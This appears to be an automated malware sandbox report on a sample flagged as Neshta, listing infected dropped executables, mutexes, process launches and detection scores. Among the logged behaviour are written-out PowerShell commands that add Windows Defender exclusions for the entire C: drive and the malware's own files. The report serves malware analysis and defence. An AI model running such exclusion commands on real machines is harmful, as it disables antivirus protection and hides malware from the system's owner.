                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: classification engineClassification label: mal100.spre.troj.spyw.expl.evad.winEXE@102/312@1/2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\aViTseNl.logJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMutant created: NULL
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
                              Source: C:\Windows\svchost.comMutant created: \Sessions\1\BaseNamedObjects\MutexPolesskayaGlush*.* svchost.com n X . t N t h ` T 5 @
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:916:120:WilError_03
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-QVgodjXaIbAcRVoIzEKD
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Users\user\AppData\Local\Temp\3582-490Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat"
                              Source: SearchIndexer.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.29%
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: integrator.exe.0.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                              Source: integrator.exe.0.drBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                              Source: integrator.exe.0.drBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                              Source: integrator.exe.0.drBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                              Source: SearchIndexer.exeVirustotal: Detection: 88%
                              Source: SearchIndexer.exeReversingLabs: Detection: 100%
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile read: C:\Users\user\Desktop\SearchIndexer.exeJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\SearchIndexer.exe "C:\Users\user\Desktop\SearchIndexer.exe"
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF5B1.tmp" "c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP"
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat"
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
